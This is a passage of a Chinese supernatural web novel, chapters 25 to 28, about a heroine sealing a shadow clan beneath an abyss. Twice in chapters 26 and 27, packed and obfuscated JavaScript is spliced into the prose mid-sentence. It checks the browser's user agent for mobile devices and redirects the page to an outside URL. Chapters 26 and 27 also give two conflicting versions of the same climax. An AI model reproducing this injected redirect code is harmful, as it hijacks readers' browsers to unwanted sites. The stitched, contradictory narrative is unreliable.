楚遥一把抓住我的手腕,将报告递到我面前,“这是晶石碎片的检测结果,上面的怨煞之气,只是影族用来迷惑我们的假象!真正的影族本源,根本没被摧毁!” 江磊也举起碎石,碎石在阳光下泛着诡异的黑光:“我奶奶的残魂告诉我,这块碎石是影核的边角料。影核不死,影族不灭。无间渊门一开,整个清河县都会被影族吞噬!” 我看着报告上的数据,又低头看了看掌心的炙痕,一股寒意从脚底直冲头顶。原来我们毁掉的,不过是影族的一枚诱饵;吴茂林的复活,只是影族抛出的烟雾弹。他们真正的目标,从来都是我 —— 这个身负问阴之血,被残魄种子寄生的 “新容器”。 “无间渊门三日开启,我们必须在这之前,找到阻止影族的方法。” 楚遥的眼神坚定,“我已经向上级申请了支援,可远水解不了近渴。现在能指望的,只有我们自己。” 江磊点点头,从背包里掏出一张图纸,正是之前用影卫令牌拼成的古城地图,只是地图的最下方,多了一条通往地底的虚线,标注着三个字:无间渊。 “我研究了令牌上的纹路,发现古城地心的通道,还有一条隐藏的岔路,直通无间渊。” 江磊指着虚线的起点,“入口就在光幕下方的溶洞里,被念水的封印掩盖了。现在封印松动,岔路已经显现出来。” 柳万山看着图纸,突然眼睛一亮:“秘录里说,水神巫在无间渊外,设下了三道封印。第一道是‘血印’,需问阴之血开启;第二道是‘魂印’,需转世者之魂激活;第三道是‘影印’,需影族之骨为钥。只要能找到这三道封印,就能彻底关闭渊门!” “血印我能开,魂印…… 念水已经安息,林溪月还是个孩子。” 我皱起眉头,“影族之骨,又在哪里?” “影族之骨,就是吴茂林胸口的玉佩。” 柳万山拿起桌上的黑色玉佩,玉佩在阳光下泛着淡淡的金光,“这不是普通的玉佩,是影族初代首领的骸骨所化。吴茂林以为这是力量的源泉,殊不知,这是开启第三道封印的钥匙。” 一切都串联起来了。影族布下千年棋局,从水神巫转世,到吴茂林作乱,再到残魄种子寄生,都是为了让我带着玉佩,踏入无间渊,亲手打开渊门。可他们千算万算,没算到我会反吞残魄,没算到柳家秘录的存在,更没算到,他们的钥匙,会变成封印的关键。 “事不宜迟,我们现在就出发。” 我将玉佩贴身戴好,握紧姥姥的手札,“三日之内,必须找到三道封印,关闭无间渊门。” 楚遥立刻去调配装备,江磊去福利院接林溪月 —— 虽然她还小,但魂印的激活,需要她的阴魄之力。柳万山则回房收拾法器,准备随我们一同前往。 临行前,我站在清水潭边,看着潭心的金色光幕。微风拂过,光幕上泛起涟漪,隐约传来柳念水温柔的声音:“溪月姐姐,别怕。我会在光幕里,为你点亮前路。” 我对着潭心深深鞠了一躬,转身跟上楚遥和江磊的脚步。 溶洞里的空气阴冷潮湿,通道两侧的石壁上,刻满了上古巫祝的符文。岔路的入口就在眼前,是一道黑漆漆的石门,门上刻着一个扭曲的 “影” 字,与影卫令牌上的图案一模一样。 我将掌心按在石门上,炙痕的金光与石门上的符文碰撞,发出 “滋滋” 的声响。石门缓缓开启,一股比古城地心浓郁百倍的阴寒之气扑面而来,夹杂着无数细碎的低语,像是影族在呼唤我的名字。 “小心!” 江磊一把拉住我,将铜戒碎片挡在身前,金光形成一道屏障,挡住了阴寒之气,“这些低语是影族的幻术,会蛊惑人心。千万别被它们影响!” 林溪月被江磊抱在怀里,她的额头泛着淡淡的红印,小手紧紧抓着江磊的衣角,眼神里没有恐惧,只有一丝好奇:“哥哥,里面有好多和我一样的‘影子’,它们在说,想和我做朋友。” “那不是朋友,是陷阱。” 我摸了摸林溪月的头,掌心的炙痕与她额头的红印相触,一股温暖的力量流淌而出,“别怕,姐姐会保护你。” 我们踏入石门,身后的石门缓缓关闭,彻底隔绝了外界的光线。楚遥打开强光手电,光柱刺破黑暗,照亮了前方的通道。 通道蜿蜒向下,越走越窄,两侧的石壁上,开始出现密密麻麻的影子 —— 有的像人,有的像兽,有的扭曲得不成形状。它们贴在石壁上,无声地蠕动着,目光死死地盯着我们,嘴里发出细碎的低语。 “宋溪月,回来吧…… 这里是你的家……” “成为影主,掌控一切……” “残魄种子在你体内,你就是影族的一员……” 低语声越来越清晰,像是无数只虫子,钻进我的耳朵里,钻进我的脑海里。我的意识开始模糊,掌心的黑色残缕疯狂蠕动,想要冲破炙痕的束缚。 “溪月!醒醒!” 苏怀薇的声音突然在耳边响起 —— 她不放心我们,竟偷偷跟了过来。银锁的白光暴涨,笼罩住我的身体,将那些低语声隔绝在外,“别被它们蛊惑!想想清河县的百姓,想想念水!” 我猛地回过神,咬紧牙关,念起姥姥手札里的静心咒。炙痕的金光越来越盛,黑色残缕渐渐平息下来,缩回了炙痕深处。 “谢谢。” 我对着苏怀薇笑了笑,心里涌起一股暖流。 苏怀薇摇摇头,银锁悬在身前:“我说过,会陪你一起面对。” 走了约莫半个时辰,前方的通道豁然开朗,出现了一个巨大的洞窟。洞窟中央,悬浮着一道血色的光幕,正是第一道封印 —— 血印。光幕上流淌着鲜红的纹路,与我掌心的炙痕一模一样。 “血印就在那里!” 柳万山激动地 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字,光幕中央,有一个拳头大的凹槽,形状与吴茂林的玉佩一模一样。 “就是这里了!” 柳万山举起玉佩,“将玉佩嵌进去,就能彻底关闭无间渊门!” 我接过玉佩,深吸一口气,一步步走向影印。石壁上的影子嘶吼得越发凄厉,它们疯狂地扑向我,却被银锁和铜戒的光芒挡在三尺之外。 就在我的手即将触碰到凹槽时,洞窟深处突然传来一阵低沉的笑声,那笑声苍老而诡异,带着一股让人毛骨悚然的寒意。 “不愧是我选中的容器,果然没让我失望。” 一道黑色的身影,从洞窟深处缓缓走出。他穿着一身古老的黑袍,脸上戴着一张青铜面具,面具上刻着与玉佩一模一样的纹路。他的周身,缠绕着无数影子,那些影子在他身边,温顺得像听话的宠物。 “你是谁?” 楚遥举枪对准黑袍人,声音冰冷。 黑袍人缓缓摘下面具,露出一张与吴茂林有七分相似,却更加苍老的脸。他的眼睛里,没有瞳孔,只有一片漆黑的影子。 “我是影族初代首领,也是你们口中的…… 影主。” 黑袍人咧嘴一笑,露出一口漆黑的牙齿,“吴茂林是我的后裔,也是我的傀儡。双生转世是我的诱饵,残魄种子是我的信物。宋溪月,你从出生起,就是我为自己准备的 —— 新的身体。” 影主的话音落下,洞窟里的影子突然疯狂涌动起来,它们汇聚成一道黑色的巨浪,朝着我们扑来。银锁和铜戒的光芒迅速暗淡,楚遥的子弹打在巨浪上,竟如石沉大海,没有半点回响。 “你们以为,毁掉晶石,就能阻止我?” 影主狂笑起来,一步步走向我,“玉佩是我的骸骨,血印是我的血脉,魂印是我的食粮。你们亲手打开的三道封印,不是为了关闭渊门,而是为了让我 —— 重获新生!” 他的手伸向我的脖颈,掌心的黑色雾气,与我体内的残魄种子产生了强烈的共鸣。我只觉得浑身无力,掌心的炙痕金光黯淡,黑色残缕彻底挣脱束缚,顺着脉络,涌向影主的手掌。 “不 ——!” 我拼命挣扎,却动弹不得。 林溪月突然大哭起来,她额头的红印爆发出耀眼的白光,柳念水的身影从魂印的光幕中冲出,挡在我的身前。可她的身影太过虚幻,被影主的黑色雾气一碰,就消散了大半。 “溪月姐姐,快走!” 柳念水的声音虚弱而坚定,“影主的目标是你!别管我们!” 影主的手,越来越近。我能清晰地感觉到,体内的残魄种子正在被他抽取,我的意识正在一点点消散。 就在这时,姥姥的手札突然从行囊里掉出,落在地上,自动翻到最后一页 —— 那是一页空白的纸,却在接触到影主的雾气时,缓缓浮现出一行字:以我之魂,铸我之印,影族不灭,问阴不止。 字迹浮现的瞬间,手札突然燃烧起来,化作一道金色的火焰,冲向影主的手掌。 火焰与黑雾碰撞,发出震耳欲聋的巨响。洞窟剧烈震动,石壁上的影子纷纷消散,无间渊的深处,传来一阵惊天动地的轰鸣 —— 渊门,正在缓缓开启。 我看着眼前的金色火焰,又看着影主狰狞的面孔,突然明白了姥姥手札里的最后一句话。 原来,问阴婆的使命,从来都不是守护,而是 —— 同归于尽。 26. 第 26 章 无间渊洞窟的轰鸣震得耳膜生疼,姥姥手札化作的金色火焰,如同一道燎原的光,死死抵住影主掌心的黑色雾气。两者碰撞的地方,迸发出刺目的光芒,青黑与金红交织,撕裂了洞窟里浓稠的黑暗。 影主的脸扭曲得不成形,漆黑的眼窝里翻涌着怨毒:“不可能!这是问阴婆的本命魂火,早就该随着上一代问阴婆的消逝而灭绝 ——” “姥姥从来没走。” 我咬着牙,掌心的炙痕金光暴涨,与魂火遥相呼应,“她的魂,她的念,她的使命,都刻在了这本命手札里。” 魂火灼烤着黑雾,发出滋滋的声响,影主的手臂以肉眼可见的速度萎缩。他怒吼着抽回手,周身的影子疯狂涌动,汇聚成无数利爪,朝着魂火扑去。可魂火的温度太高,那些影子一触即溃,化作缕缕青烟。 “你们以为这就能拦住我?” 影主狂笑,声音里带着癫狂的底气,“无间渊门已经开启,影族大军马上就要破渊而出!清河县,不,整个天下,都将成为影族的猎场!” 他抬手一挥,洞窟深处传来震耳欲聋的嘶吼,地动山摇间,一道深不见底的裂缝骤然裂开,青黑色的怨煞之气如同潮水般涌出,裂缝里,隐约可见无数扭曲的影族身影,正朝着我们的方向涌动。 “渊门…… 真的开了。” 柳万山踉跄后退,青铜剑撑在地上,剑身嗡鸣,“秘录里说,渊门一开,除非有问阴婆以身献祭,否则永无宁日。” 献祭。 这两个字像重锤,砸在我的心上。姥姥手札最后一页的字迹,“以我之魂,铸我之印,影族不灭,问阴不止”,突然在脑海里炸开。原来从一开始,就没有所谓的 “关闭之法”,只有以问阴之身,铸万载封印的献祭之途。 我看着裂缝里越来越近的影族,看着楚遥举枪拼命射击却徒劳无功的身影,看着江磊用铜戒碎片死死护住林溪月的模样,看着苏怀薇的银锁白光渐黯却依旧咬牙支撑的坚毅,心脏像是被一只无形的手攥紧。 “溪月,别 ——” 苏怀薇察觉到我的意图,尖叫着冲过来,却被一道黑影缠住,银锁的白光剧烈闪烁。 楚遥也回头看我,眼神里满是惊惶:“宋溪月,你敢动试试!我们还有别的办法!” “没有了。” 我对着他们笑了笑,笑容里带着释然,“姥姥说过,问阴婆的使命,就是在最黑暗的时刻,成为唯一的光。” 我一步步走向裂缝,掌心的炙痕与魂火的联系越来越紧密,一股滚烫的力量顺着脉络,流遍全身。我能感觉到,体内的残魄种子在颤抖,它在恐惧,在抗拒 —— 它本是影族的信物,如今却要与我一同,葬送在这献祭之火里。 “宋溪月!你是影族选中的容器,你会是新的影主!” 影主在身后嘶吼,“只要你归顺,我可以分你一半的权力!” 我没有回头,只是脚步更快。 就在这时,一双小手突然抱住了我的腿。 是林溪月。 她挣脱了江磊的保护,小小的身子挡在我面前,额头的红印光芒万丈,与柳念水的魂影遥遥相对。“姐姐,你不能去。” 小女孩的声音带着哭腔,却异常坚定,“念水姐姐说,双生同心,其利断金。我们是双生转世,我们可以一起。” 柳念水的魂影从魂印光幕里飘出,她的身影比之前清晰了许多,眉眼间带着温柔的决绝。她飘到林溪月身边,两个额间带着红印的身影,一虚一实,紧紧靠在一起。 “双生同心,阴阳相济。” 柳念水的声音清冽,“溪月姐姐,我们不是你的累赘,我们是你的后盾。” 两道红印的光芒交织在一起,化作一道耀眼的光柱,直直地冲向我的炙痕。光柱融入的瞬间,一股磅礴的力量涌遍全身,残魄种子发出一声凄厉的哀嚎,彻底被这股力量同化。 我低头看着怀里的林溪月,看着身旁的柳念水,突然明白了姥姥手札里没说透的话 ——问阴献祭,从来不是孤身一人。 “双生同心,铸我之印!” 我振臂高呼,魂火暴涨数倍,与双生之力、炙痕金光融为一体,化作一道金色的巨印。 巨印悬在裂缝上空,印身上刻着水神巫的图腾,刻着问阴婆的咒文,刻着双生转世的红印。那些即将破渊而出的影族,在巨印的光芒下,发出绝望的嘶吼,纷纷化作青烟。 影主目眦欲裂,他疯了般冲向巨印,想要将其击碎:“我的族民!我的大业!” “晚了。” 我冷冷开口,操控着巨印,朝着渊门的裂缝压去。 巨印落下的瞬间,整个无间渊都在震颤。裂缝以肉眼可见的速度收缩,青黑色的怨煞之气被强行逼回渊底。影主的身体被巨印的边缘擦过,瞬间化作飞灰,连一声惨叫都来不及发出。 “不 ——!” 最后的嘶吼,消散在洞窟的轰鸣里。 巨印彻底嵌入裂缝,渊门缓缓闭合。洞窟里的怨煞之气渐渐散去,石壁上的影子也消失无踪,只剩下一片澄澈的金光。 柳念水的魂影渐渐变得透明,她对着我和林溪月笑了笑:“溪月姐姐,月月,我终于可以安息了。” “念水姐姐 ——” 林溪月伸出小手,却只抓到一片虚无。 柳念水的身影化作点点金光,融入巨印之中,巨印上的纹路,又多了一道温柔的印记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182847|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 洞窟恢复了平静,只剩下我们几人,瘫坐在地上,大口喘着粗气。 苏怀薇跑过来,一把抱住我,眼泪掉落在我的肩头:“吓死我了…… 我还以为你真的要献祭了。” “我没那么傻。” 我拍了拍她的背,掌心的炙痕依旧泛着金光,却不再发烫,“双生同心,我们一起铸印,就不用单独献祭了。” 江磊也走过来,看着巨印的方向,感慨道:“奶奶的残魂说,这是最好的结局。水神巫、问阴婆、双生转世,三代人的努力,终于彻底封印了影族。” 柳万山看着巨印,老泪纵横:“柳家千年的守护,总算是…… 圆满了。” 林溪月依偎在我怀里,小手摸着我掌心的炙痕,好奇地问道:“姐姐,这个印记,以后还会发烫吗?” 我摇摇头,看着洞窟顶部渐渐透进来的微光,笑了:“不会了。以后,它只会提醒我们,清河县的和平,来之不易。” 我们互相搀扶着,朝着洞窟外走去。石门缓缓开启,阳光洒在我们身上,温暖得让人想哭。 走到清水潭边时,潭心的金色光幕已经消散,潭水清澈见底,鱼虾嬉戏,岸边的柳树抽出了新芽,一派生机勃勃的景象。 楚遥看着这一切,脸上露出了久违的笑容:“清河县,真的太平了。” 接下来的日子,我们忙着重建被影族破坏的古城地心,忙着安顿林溪月,忙着整理柳家的秘录和姥姥的手札。日子过得平淡而充实,清河县的百姓,也渐渐忘记了那场惊心动魄的阴谋,只记得有一群人,拼尽全力,守护了这片土地。 三个月后,我站在清水潭边,看着潭水泛起的涟漪,掌心的炙痕金光柔和。苏怀薇走到我身边,递给我一封信。 “这是福利院转来的,寄信人没写名字。” 我接过信,信封上没有署名,只有一个淡淡的 “影” 字印记。 我的心猛地一跳,连忙拆开信封。 信纸上的字迹,陌生却熟悉,笔力苍劲,带着一股淡淡的阴寒: 问阴婆,双生印,渊门闭,影族寂。然,影族不灭,只是沉睡。三百年后,无间渊底,影核复苏,新主降世。清河县的和平,不过是三百年的…… 休战之约。 信纸的末尾,还画着一个图案 —— 那是一个与我掌心炙痕一模一样的印记,只是印记的中央,多了一道细细的、黑色的纹路。 我攥紧信纸,掌心的炙痕,突然微微发烫。 潭心的水面,无风自动,泛起一圈圈诡异的涟漪。涟漪的中央,隐约浮现出一个黑色的影子,正对着我,缓缓招手。 27. 第 27 章 金色火焰与影主黑雾碰撞的轰鸣,震得整个无间渊洞窟剧烈摇晃,碎石簌簌而下,砸在肩头生疼。强光刺得人睁不开眼,我被气浪掀飞出去,重重撞在石壁上,喉头一阵腥甜,掌心的炙痕却烫得惊人,像是要烧穿皮肉。 “咳咳……” 我撑着石壁勉强起身,视线模糊中,只见那团金色火焰并未消散,反而化作无数细碎的光点,盘旋在洞窟中央。影主的黑袍被烧得破烂不堪,青铜面具掉落在地,露出那张与吴茂林七分相似,却布满沧桑纹路的脸。他的胸口有一片焦黑的痕迹,黑色雾气不断从伤口溢出,却又被一股无形的力量拉扯回去。 “不可能…… 这不可能!” 影主的声音带着难以置信的嘶吼,他死死盯着那些金色光点,眼中满是惊恐,“问阴婆的血脉,怎么会引出水神巫的本源之力?” 我心头一动,低头看向掌心的炙痕。那些细碎的金色光点,正源源不断地涌入炙痕之中,原本泛着金光的纹路,此刻竟染上了一层淡淡的血色,一股温暖而强大的力量,顺着脉络流遍全身,驱散了之前的疲惫与无力。 “溪月姐姐!” 林溪月的哭声传来。我抬头望去,只见柳念水的残魂并未消散,反而与林溪月额头的红印产生了强烈的共鸣,两道透明的身影相互缠绕,形成了一道淡粉色的屏障,将扑来的影子尽数挡在外面。楚遥和江磊背靠背,手中的武器不断挥舞,苏怀薇的银锁白光暴涨,与柳万山的青铜剑光芒交织,勉强支撑着防线。 “影主!你口口声声说影族被镇压,可你看看你做的这些事!” 楚遥的声音带着愤怒,“为了重获新生,你利用吴茂林,制造人造转世,将无数无辜之人卷入阴谋,这就是你所谓的‘重见天日’?” 影主闻言,突然仰天大笑,笑声中充满了悲凉与不甘:“无辜?上古之时,水神巫与巫祝联手,忌惮影族掌控怨煞的力量,便以‘祸乱苍生’为名,将我们封印在无间渊底,永世不得翻身!我们的族人,在暗无天日的渊底,一点点被怨煞侵蚀,化作没有意识的影子,这难道就不无辜吗?” 他的话,让所有人都愣住了。柳万山手中的青铜剑微微颤抖,他翻开怀里的秘录,脸色越来越凝重:“祖训里…… 从未提过影族被镇压的真相,只说影族是至凶之煞……” “祖训?不过是胜利者书写的谎言!” 影主的眼神变得凌厉,他看向我,目光复杂,“宋溪月,你以为你是问阴婆的传人,是守护清河县的英雄?可你不知道,问阴婆一脉,本就是水神巫为了监视影族,特意留下的血脉!你的炙痕,不是天赋,而是水神巫种下的‘监印’,用来感知影族的动静!” 这番话,如同一道惊雷,在我脑海中炸开。姥姥的手札里,确实从未提及问阴婆的起源,只说代代相传,守护一方安宁。难道我们一脉,从诞生之初,就只是一枚棋子? “你胡说!” 我咬着牙,掌心的炙痕光芒暴涨,“就算是监印,我也绝不会让你伤害无辜之人!” “伤害?” 影主冷笑一声,他抬手一指洞窟深处,“渊门已经开启,用不了多久,无间渊底的‘怨煞之核’就会苏醒。到时候,整个清河县,乃至整个世间,都会被怨煞吞噬,这不是我能控制的!我想要的,不过是带着残存的族人,离开这片暗无天日的地方,寻找一处容身之所!” 我顺着他的手指望去,只见那道缓缓开启的渊门之后,是一片深不见底的黑暗,黑暗中,隐隐传来一阵阵沉闷的心跳声,每一次跳动,都让洞窟震动三分。一股比影主的黑雾更加恐怖的气息,从渊底弥漫而出,让人不寒而栗。 “怨煞之核……” 柳万山脸色惨白,“秘录里说,怨煞之核是上古时期,天地间的负面情绪凝聚而成的怪物,水神巫将它镇压在无间渊底最深处,用影族的力量制衡它。若是怨煞之核苏醒,影族和人类,都将不复存在!” 所有人都明白了。影主想要打开渊门,并非为了毁灭,而是为了带着族人逃离即将苏醒的怨煞之核。可他的方法,却让整个清河县陷入了危机。 “影主,你为什么不早说?” 江磊的声音缓和了几分,“若是你愿意合作,我们或许能找到其他方法,帮助你的族人离开无间渊!” “合作?” 影主自嘲地笑了笑,“千年来,人类对影族只有忌惮和屠杀,我凭什么相信你们?” 就在这时,林溪月突然挣脱了柳念水的残魂,跑到影主面前,仰着小脸道:“爷爷,我能感觉到,你的影子里,没有恶意,只有悲伤。溪月姐姐是好人,她不会伤害你的。” 影主看着林溪月那双清澈的眼睛,眼中的戾气渐渐消散。他沉默了良久,终于叹了口气:“罢了,千年来的执念,或许真的该放下了。” 他抬手一挥,那些扑向众人的影子纷纷退去,洞窟里的阴寒之气也消散了不少。“怨煞之核的苏醒,只剩下一个时辰。想要阻止它,唯有以影族的骸骨为引,问阴婆的血脉为媒,双生转世的力量为锁,将它重新封印在渊底。” 影主看向我手中的黑色玉佩:“这枚玉佩,是我当年的骸骨所化,也是唯一能引动怨煞之核的媒介。宋溪月,你的炙痕,是唯一能承载封印之力的容器。柳念水和林溪月的双生之力,是封印的最后一道锁。” “我们愿意帮你。” 我毫不犹豫地说道。掌心的炙痕,此刻正与玉佩产生强烈的共鸣,一股使命感,在心底油然而生。无论问阴婆的起源如何,守护无辜之人,从来都没有错。 楚遥和江磊相视一眼,点了点头。苏怀薇收起银锁,走到我身边:“我会用银锁护住你的意识,不让你被怨煞之力侵蚀。” 柳万山也举起青铜剑:“柳家千年的守护,今日,便要做个了断!” 影主看着我们,眼中露出一抹释然的笑容。他抬手将玉佩推向我,玉佩在空中划过一道弧线,稳稳落在我的掌心。 “走吧,怨煞之核就在渊门之后。” 影主的身影渐渐变得透明,“我已经油尽灯枯,能做的,只有帮你们挡住渊底的影子。记住,封印怨煞之核后,一定要关闭渊门,放我的族人离开。” 话音落下,影主的身影彻底消散,化作无数黑色光点,朝着渊门飞去。 我们一行人,朝着渊门走去。林溪月紧紧牵着我的手,柳念水的残魂与她并肩而行,两道淡粉色的光芒,在黑暗中格外耀眼。楚遥和江磊走在两侧,警惕着周围的动静。苏怀薇的银锁悬在我的头顶,白光笼罩着我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182848|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。柳万山拄着青铜剑,殿后压阵。 渊门之后,是一条更加狭窄的通道,通道的尽头,是一个巨大的地下湖泊。湖泊中央,悬浮着一颗漆黑的球体,球体表面布满了血丝,正是怨煞之核。它的每一次跳动,都让湖水翻涌,黑色的怨煞之气,从球体中不断溢出。 “就是这里了。” 我深吸一口气,将玉佩按在掌心的炙痕上。玉佩与炙痕接触的瞬间,爆发出耀眼的光芒,一股强大的力量,从炙痕中涌出,顺着手臂,流向全身。 “林溪月,柳念水,该你们了!” 我大喊道。 林溪月点点头,闭上眼睛,口中念念有词。柳念水的残魂与她的身影融合,一道巨大的淡粉色光柱,从她们身上冲天而起,笼罩住怨煞之核。 “苏怀薇,护住我!” 我纵身一跃,跳到湖泊中央,将手掌按在怨煞之核上。 怨煞之力疯狂地涌入我的体内,像是无数根针,扎进我的四肢百骸。我咬紧牙关,凭借着炙痕的力量,将怨煞之力一点点压制,注入玉佩之中。 时间一分一秒地过去,怨煞之核的跳动越来越慢,表面的血丝也渐渐褪去。我的意识开始模糊,耳边传来苏怀薇焦急的呼喊声。 “溪月!坚持住!还有最后一刻!” 我用尽最后一丝力气,将体内所有的力量,注入玉佩之中。玉佩发出一声清脆的响声,化作一道黑色的锁链,将怨煞之核牢牢锁住。 “封印!” 随着我的一声大喝,淡粉色光柱猛地收缩,将怨煞之核和黑色锁链包裹起来,沉入湖泊底部。 洞窟剧烈震动起来,渊门开始缓缓关闭。远处,传来影族族人的欢呼声。 我们一行人,疲惫地瘫坐在地上,看着渊门彻底关闭,终于松了一口气。 就在这时,我的手机突然震动起来。我掏出来一看,又是那串熟悉的乱码号码,屏幕上跳出一行字,让我浑身的血液都凝固了: 怨煞之核已封,影族已归。下一个千年,无间渊底,等你赴约。—— 水神巫 我猛地抬头,看向湖泊中央。平静的湖面上,泛起一圈涟漪,涟漪之中,隐隐浮现出一道白衣女子的身影,她对着我,露出一抹意味深长的笑容,然后便消失不见。 掌心的炙痕,此刻竟泛起了淡淡的白色光芒,上面的纹路,变得更加复杂,像是一张地图,指向无间渊底的深处。 柳万山看着我掌心的炙痕,脸色凝重:“秘录的最后一页,写着一句话 —— 水神巫归,问阴婆醒,千年之约,渊底重逢。看来,这一切,还没有结束。” 楚遥和江磊也围了过来,看着手机上的短信,陷入了沉默。苏怀薇握住我的手,眼中满是担忧:“溪月,这到底是怎么回事?” 我看着掌心的炙痕,又看向湖泊中央,心中涌起一股强烈的预感。 水神巫的身影,影主的遗言,千年之约的短信,还有炙痕上的地图…… 这一切,都在告诉我,无间渊底的秘密,远不止于此。而我,注定要踏上新的征程,去揭开那个尘封了千年的真相。 清河县的安稳,只是暂时的。 一场跨越千年的棋局,才刚刚落下一子。 28. 第 28 章 从无间渊返回地面时,清河县的天刚蒙蒙亮。金色光幕依旧笼罩着清水潭,只是光幕上多了一层淡粉色的光晕,那是柳念水与林溪月的双生之力在维系封印。街道上已有早起的行人,孩童的嬉笑声、小贩的吆喝声渐渐响起,谁也不知道,昨夜的渊底,他们躲过了一场灭顶之灾。 我们一行人回到柳家老宅,疲惫地瘫坐在堂屋。桌上的黑色玉佩静静躺着,与我掌心的炙痕遥相呼应,炙痕上的纹路越发清晰,那幅指向渊底深处的地图,如同烙印般刻在皮肤里,连细微的岔路都清晰可见。 “溪月,你看这地图。” 江磊将一张拓纸铺在桌上,上面是他连夜拓下的炙痕纹路,“我对比了古城的地质图,发现地图不仅标注了无间渊底的路径,还在古城西北角标记了一个红点,像是某种入口。” 我凑近一看,拓纸上的红点确实与其他路径不同,周围环绕着一圈扭曲的符号,与姥姥手札夹层里的残页符号一模一样。苏怀薇拿起残页,将两者重叠,符号完美契合,组成了一行完整的篆字:巫祝秘室,藏影之源。 “巫祝秘室?” 柳万山眉头紧锁,“祖训里说,上古巫祝曾在古城修建过一座密室,用来存放镇压影族的法器。可千年来,柳家历代传人都在寻找,始终没有踪迹。没想到,入口竟藏在古城西北角。” 楚遥打开军用电脑,调出古城的卫星地图:“古城西北角是一片废弃的城隍庙,抗战时期被轰炸过,现在只剩下断壁残垣。如果红点真的在那里,入口大概率在城隍庙的地基之下。” “我们现在就去。” 我站起身,掌心的炙痕微微发烫,像是在催促我尽快出发。青铜匣的秘密、水神巫的千年之约、影族内部的异动,所有的谜团,似乎都指向了这座隐藏的巫祝秘室。 林溪月被柳念水的残魂护着,坐在椅子上打盹,听到要出发,立刻睁开眼睛,拉着我的衣角道:“溪月姐姐,我也要去。我能感觉到,那里有和我一样的‘温暖影子’在等我们。” 柳念水的残魂从林溪月体内浮现,面色凝重:“溪月,林溪月的阴魄与巫祝秘室的气息产生了共鸣,她必须去。只是秘室里可能藏着上古怨煞,我怕……” “我会保护好她。” 苏怀薇将银锁戴在林溪月脖子上,“银锁能净化阴煞,不会让她受到伤害。” 收拾妥当后,我们驱车前往古城西北角。废弃的城隍庙果然一片狼藉,断壁残垣间长满了杂草,石碑倒在地上,上面的字迹早已模糊不清。江磊拿出金属探测器,在地基周围仔细搜寻,没过多久,探测器发出了急促的警报声。 “在这里!” 江磊指向一块巨大的青石板,石板上刻着与残页上相同的符号。柳万山和楚遥合力掀开青石板,下面露出一个黑漆漆的入口,一股古老而神秘的气息,从入口处扑面而来。 “我先下去探路。” 楚遥打开强光手电,率先跳入入口。通道狭窄而陡峭,两侧的石壁上刻满了上古巫祝的符文,符文泛着淡淡的绿光,照亮了前行的路。我们依次跟上,林溪月被江磊抱在怀里,紧紧闭着眼睛,小脸埋在他的肩头。 走了约莫十分钟,通道豁然开朗,一座巨大的密室出现在眼前。密室呈圆形,中央矗立着一尊巫祝雕像,雕像手持法杖,双目紧闭,神情庄严。雕像周围,摆放着八尊小型的影族雕像,姿态各异,栩栩如生。密室的墙壁上,绘制着一幅巨大的壁画,上面记录着上古时期的场景:水神巫与影族初代首领并肩而立,共同对抗一团漆黑的怨煞;随后,水神巫将影族首领封印在无间渊底,影族首领的脸上,没有怨恨,只有释然。 “这壁画…… 和影主说的不一样。” 我喃喃自语。影主说水神巫是为了忌惮影族的力量才将他们封印,可壁画上的场景,却像是一场交易。 “你们看这里。” 苏怀薇指向壁画的角落,那里画着一个青铜匣子,与我们在密室角落发现的匣子一模一样。那是一个半人高的青铜匣,上面刻着复杂的纹路,匣身布满了铜绿,却依旧完好无损。匣子的锁孔,形状与我掌心的炙痕完全契合。 我走到青铜匣前,将手掌按在锁孔上。炙痕的金光与锁孔的符文碰撞,发出 “咔嚓” 的声响,青铜匣缓缓打开。匣子里没有法器,也没有秘籍,只有三样东西:一卷泛黄的丝帛、一枚白色的玉佩,还有半块残缺的黑色令牌。 我拿起丝帛,上面的字迹娟秀而有力,正是水神巫的亲笔: 与影主有约,以渊为界,以核为盟。影族镇怨煞,我族守人间。千年之后,怨煞之核异动,影主欲携族离去,恐核破人间毁。故设秘室,藏影之源,留白佩为信,令牌为钥。问阴婆一脉,非为监,实为桥;双生转世,非为锁,实为引。三界裂隙将开,真影蛰伏,伪影作乱,唯白佩合黑玉,令牌归位,方能破局。 “三界裂隙?真影?伪影?” 柳万山眉头紧锁,“水神巫的话,到底是什么意思?” 苏怀薇拿起白色玉佩,玉佩温润如玉,上面刻着一个 “水” 字。她将白色玉佩与我手中的黑色玉佩放在一起,两块玉佩瞬间相互吸引,紧紧贴合在一起,发出耀眼的光芒。光芒散去后,玉佩上的纹路融合,形成了一幅完整的地图,地图的中央,标记着 “三界裂隙” 四个字,位置就在无间渊底的最深处。 “原来黑色玉佩和白色玉佩,合在一起才是完整的地图。” 江磊恍然大悟,“影主手中的,只是黑色玉佩,他不知道还有白色玉佩的存在,所以才会误以为打开渊门就能带着族人离开。” 我拿起那半块黑色令牌,令牌上刻着一个 “影” 字,材质与影卫令牌相同。“这半块令牌,应该是影族的信物。影主说他的族人在渊门后等待离开,或许另一半令牌,就在影族族人手中。” 就在这时,林溪月突然指着密室中央的巫祝雕像,大声道:“姐姐,雕像在动!” 